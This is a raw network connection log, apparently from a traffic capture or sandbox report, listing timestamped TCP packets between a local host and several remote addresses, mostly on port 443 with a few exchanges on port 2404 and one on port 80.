Aug 22, 2024 13:11:09.229696035 CEST	49912	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.233297110 CEST	49912	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.233305931 CEST	443	49912	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.233556032 CEST	443	49912	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.234800100 CEST	49912	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.235192060 CEST	49912	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.276500940 CEST	443	49912	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.316668987 CEST	443	49911	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.316767931 CEST	49911	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.317533970 CEST	443	49911	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.317596912 CEST	49911	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.319286108 CEST	49911	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.319291115 CEST	443	49911	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.319561005 CEST	443	49911	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.321794033 CEST	49911	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.322227955 CEST	49911	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.337970972 CEST	443	49913	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.338211060 CEST	49913	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.338752031 CEST	443	49913	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.338821888 CEST	49913	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.340512991 CEST	49913	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.340526104 CEST	443	49913	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.340775013 CEST	443	49913	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.340830088 CEST	49913	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.341221094 CEST	49913	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.358933926 CEST	443	49914	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.359070063 CEST	49914	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.360857964 CEST	49914	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.360862970 CEST	443	49914	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.361100912 CEST	443	49914	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.361188889 CEST	49914	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.361578941 CEST	49914	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.364506006 CEST	443	49911	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.388503075 CEST	443	49913	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.404506922 CEST	443	49914	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.670433998 CEST	443	49912	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.670484066 CEST	443	49912	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.670563936 CEST	49912	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.670588017 CEST	443	49912	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.670603991 CEST	49912	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.670644045 CEST	49912	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.670763016 CEST	443	49912	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.670813084 CEST	443	49912	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.670861959 CEST	49912	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.672147036 CEST	49912	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.672163963 CEST	443	49912	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.672179937 CEST	49912	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.672214985 CEST	49912	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.710721970 CEST	443	49911	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.710804939 CEST	443	49911	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.710911989 CEST	49911	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.711055040 CEST	49911	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.711076021 CEST	443	49911	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.711683989 CEST	49917	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.711714983 CEST	443	49917	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.711745024 CEST	49916	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.711788893 CEST	49917	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.711793900 CEST	443	49916	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.711838007 CEST	49916	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.712054014 CEST	49917	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.712055922 CEST	49916	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.712066889 CEST	443	49917	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.712069035 CEST	443	49916	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.729383945 CEST	443	49913	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.729996920 CEST	49913	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.730006933 CEST	443	49913	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.730066061 CEST	49913	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.730195045 CEST	49913	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.730249882 CEST	443	49913	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.730431080 CEST	443	49913	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.730504990 CEST	49913	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.730801105 CEST	49913	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.730803013 CEST	49918	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.730823994 CEST	443	49918	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.734220982 CEST	49918	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.735378027 CEST	49918	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:09.735394955 CEST	443	49918	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:09.823970079 CEST	443	49914	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.824032068 CEST	443	49914	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.824101925 CEST	49914	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.824117899 CEST	443	49914	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.824157953 CEST	49914	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.824162006 CEST	443	49914	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.824207067 CEST	49914	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.824920893 CEST	49914	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.824939966 CEST	443	49914	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.825484991 CEST	49919	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.825510025 CEST	443	49919	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:09.825563908 CEST	49919	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.825819969 CEST	49919	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:09.825833082 CEST	443	49919	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:10.359031916 CEST	443	49917	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:10.359780073 CEST	49917	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.359960079 CEST	49917	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.359972000 CEST	443	49917	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:10.360248089 CEST	49917	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.360254049 CEST	443	49917	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:10.370795012 CEST	443	49918	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.370886087 CEST	49918	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.371577024 CEST	443	49918	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.371635914 CEST	49918	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.375219107 CEST	49918	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.375230074 CEST	443	49918	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.375474930 CEST	443	49918	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.375526905 CEST	49918	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.375946999 CEST	49918	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.379687071 CEST	443	49916	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.379776955 CEST	49916	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.380530119 CEST	443	49916	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.380590916 CEST	49916	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.382154942 CEST	49916	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.382164955 CEST	443	49916	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.382447958 CEST	443	49916	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.382502079 CEST	49916	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.382822990 CEST	49916	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.420496941 CEST	443	49918	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.424509048 CEST	443	49916	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.466315031 CEST	443	49919	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:10.466453075 CEST	49919	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.466970921 CEST	49919	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.466976881 CEST	443	49919	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:10.467154980 CEST	49919	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.467159986 CEST	443	49919	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:10.763020992 CEST	443	49918	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.763075113 CEST	49918	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.763091087 CEST	443	49918	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.763137102 CEST	49918	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.763140917 CEST	443	49918	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.763180017 CEST	49918	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.763384104 CEST	49918	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.763400078 CEST	443	49918	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.764946938 CEST	49921	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.765007973 CEST	443	49921	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.765065908 CEST	49921	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.765815020 CEST	49921	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.765834093 CEST	443	49921	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.787147045 CEST	443	49916	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.787249088 CEST	49916	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.787270069 CEST	443	49916	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.787329912 CEST	49916	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.787450075 CEST	49916	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.787489891 CEST	443	49916	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.787595987 CEST	49916	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.788347960 CEST	49922	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.788372993 CEST	443	49922	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.788431883 CEST	49922	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.788819075 CEST	49922	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:10.788832903 CEST	443	49922	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:10.805624008 CEST	443	49917	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:10.805663109 CEST	443	49917	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:10.805716038 CEST	49917	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.805738926 CEST	443	49917	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:10.805751085 CEST	49917	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.805762053 CEST	443	49917	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:10.805818081 CEST	49917	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.805818081 CEST	49917	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.810976982 CEST	49917	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.810992002 CEST	443	49917	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:10.811650038 CEST	49924	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.811669111 CEST	443	49924	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:10.811722040 CEST	49924	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.812026978 CEST	49924	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.812036037 CEST	443	49924	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:10.963018894 CEST	443	49919	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:10.963073969 CEST	443	49919	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:10.963140965 CEST	49919	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.963155031 CEST	443	49919	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:10.963165045 CEST	49919	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.963200092 CEST	443	49919	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:10.963205099 CEST	49919	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.963252068 CEST	49919	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.964093924 CEST	49919	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.964122057 CEST	443	49919	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:10.964615107 CEST	49926	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.964649916 CEST	443	49926	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:10.964725018 CEST	49926	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.964993954 CEST	49926	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:10.965003014 CEST	443	49926	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:11.412709951 CEST	443	49921	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:11.412791014 CEST	49921	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:11.413535118 CEST	443	49921	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:11.413606882 CEST	49921	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:11.457000971 CEST	443	49922	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:11.457073927 CEST	49922	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:11.457873106 CEST	443	49922	216.58.206.46	192.168.2.8
Aug 22, 2024 13:11:11.457918882 CEST	49922	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:11.458462000 CEST	443	49924	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:11.458517075 CEST	49924	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:11.607960939 CEST	443	49926	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:11.608475924 CEST	49926	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:12.680836916 CEST	2404	49837	192.168.1.195	192.168.2.8
Aug 22, 2024 13:11:12.683835983 CEST	49837	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:11:13.765419006 CEST	49837	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:11:13.766194105 CEST	49927	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:11:13.770342112 CEST	2404	49837	192.168.1.195	192.168.2.8
Aug 22, 2024 13:11:13.771060944 CEST	2404	49927	192.168.1.195	192.168.2.8
Aug 22, 2024 13:11:13.771130085 CEST	49927	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:11:13.798528910 CEST	49927	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:11:13.803503036 CEST	2404	49927	192.168.1.195	192.168.2.8
Aug 22, 2024 13:11:23.746043921 CEST	49926	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:23.746047020 CEST	49924	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:23.746071100 CEST	443	49926	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:23.746077061 CEST	443	49924	216.58.212.129	192.168.2.8
Aug 22, 2024 13:11:27.000274897 CEST	49927	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:11:27.005188942 CEST	2404	49927	192.168.1.195	192.168.2.8
Aug 22, 2024 13:11:28.249031067 CEST	49930	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.249067068 CEST	443	49930	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.249136925 CEST	49931	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.249170065 CEST	443	49931	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.249186993 CEST	49930	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.249228954 CEST	49931	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.249254942 CEST	49932	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.249263048 CEST	443	49932	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.249334097 CEST	49933	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.249341011 CEST	443	49933	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.249380112 CEST	49933	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.249388933 CEST	49932	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.249439001 CEST	49934	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.249444962 CEST	443	49934	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.249598026 CEST	49930	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.249603987 CEST	49934	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.249609947 CEST	443	49930	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.249771118 CEST	49933	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.249780893 CEST	443	49933	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.249790907 CEST	49934	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.249799967 CEST	443	49934	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.250386953 CEST	49931	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.250396967 CEST	443	49931	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.250508070 CEST	49932	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.250518084 CEST	443	49932	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.806813002 CEST	49713	80	192.168.2.8	69.42.215.252
Aug 22, 2024 13:11:28.809406042 CEST	49926	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:28.809446096 CEST	49921	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:28.809480906 CEST	49922	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:11:28.809540987 CEST	49924	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:11:28.924240112 CEST	443	49931	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.924308062 CEST	49931	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.924997091 CEST	443	49930	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.925081968 CEST	49930	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.926141024 CEST	49931	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.926150084 CEST	443	49931	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.926394939 CEST	443	49931	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.927145004 CEST	49930	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.927154064 CEST	443	49930	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.927426100 CEST	443	49930	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.928359032 CEST	49931	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.929384947 CEST	49930	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.938725948 CEST	443	49934	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.938815117 CEST	49934	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.940038919 CEST	49934	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.940045118 CEST	443	49934	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.940370083 CEST	443	49934	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.941543102 CEST	49934	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.972512960 CEST	443	49931	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.975730896 CEST	443	49932	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.975809097 CEST	49932	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.976516008 CEST	443	49930	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.976805925 CEST	443	49933	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.976876020 CEST	49933	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.977462053 CEST	49932	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.977493048 CEST	443	49932	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.977775097 CEST	443	49932	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.978111029 CEST	49933	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.978117943 CEST	443	49933	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.978343010 CEST	443	49933	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:28.979106903 CEST	49932	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.979454041 CEST	49933	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:28.984505892 CEST	443	49934	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.020514011 CEST	443	49932	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.024509907 CEST	443	49933	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.045382023 CEST	443	49931	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.045407057 CEST	443	49931	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.045427084 CEST	443	49931	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.045470953 CEST	49931	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.045492887 CEST	443	49931	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.045506001 CEST	443	49931	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.045578003 CEST	49931	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.046343088 CEST	49931	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.046365023 CEST	443	49931	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.046375990 CEST	49931	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.046382904 CEST	443	49931	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.047096968 CEST	443	49930	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.047174931 CEST	443	49930	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.047224045 CEST	49930	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.047522068 CEST	49930	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.047550917 CEST	443	49930	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.047559977 CEST	49930	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.047568083 CEST	443	49930	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.059535027 CEST	49935	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.059566975 CEST	443	49935	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.059658051 CEST	49935	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.059866905 CEST	49935	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.059874058 CEST	443	49935	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.060226917 CEST	443	49934	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.060237885 CEST	49936	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.060271025 CEST	443	49936	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.060277939 CEST	443	49934	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.060319901 CEST	49936	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.060343027 CEST	49934	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.060477972 CEST	49934	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.060488939 CEST	443	49934	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.060502052 CEST	49934	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.060506105 CEST	443	49934	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.060648918 CEST	49936	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.060661077 CEST	443	49936	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.070131063 CEST	49937	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.070157051 CEST	443	49937	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.070230007 CEST	49937	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.070417881 CEST	49937	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.070426941 CEST	443	49937	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.107665062 CEST	443	49932	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.107736111 CEST	443	49932	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.107789993 CEST	49932	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.108046055 CEST	49932	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.108057976 CEST	443	49932	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.108082056 CEST	49932	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.108087063 CEST	443	49932	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.108866930 CEST	443	49933	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.108918905 CEST	443	49933	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.109323025 CEST	49933	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.109456062 CEST	49933	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.109463930 CEST	443	49933	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.109477043 CEST	49933	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.109481096 CEST	443	49933	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.119532108 CEST	49938	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.119553089 CEST	443	49938	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.119939089 CEST	49939	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.119955063 CEST	443	49939	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.119981050 CEST	49938	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.120016098 CEST	49939	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.120182991 CEST	49938	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.120191097 CEST	443	49938	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.120269060 CEST	49939	443	192.168.2.8	13.107.253.67
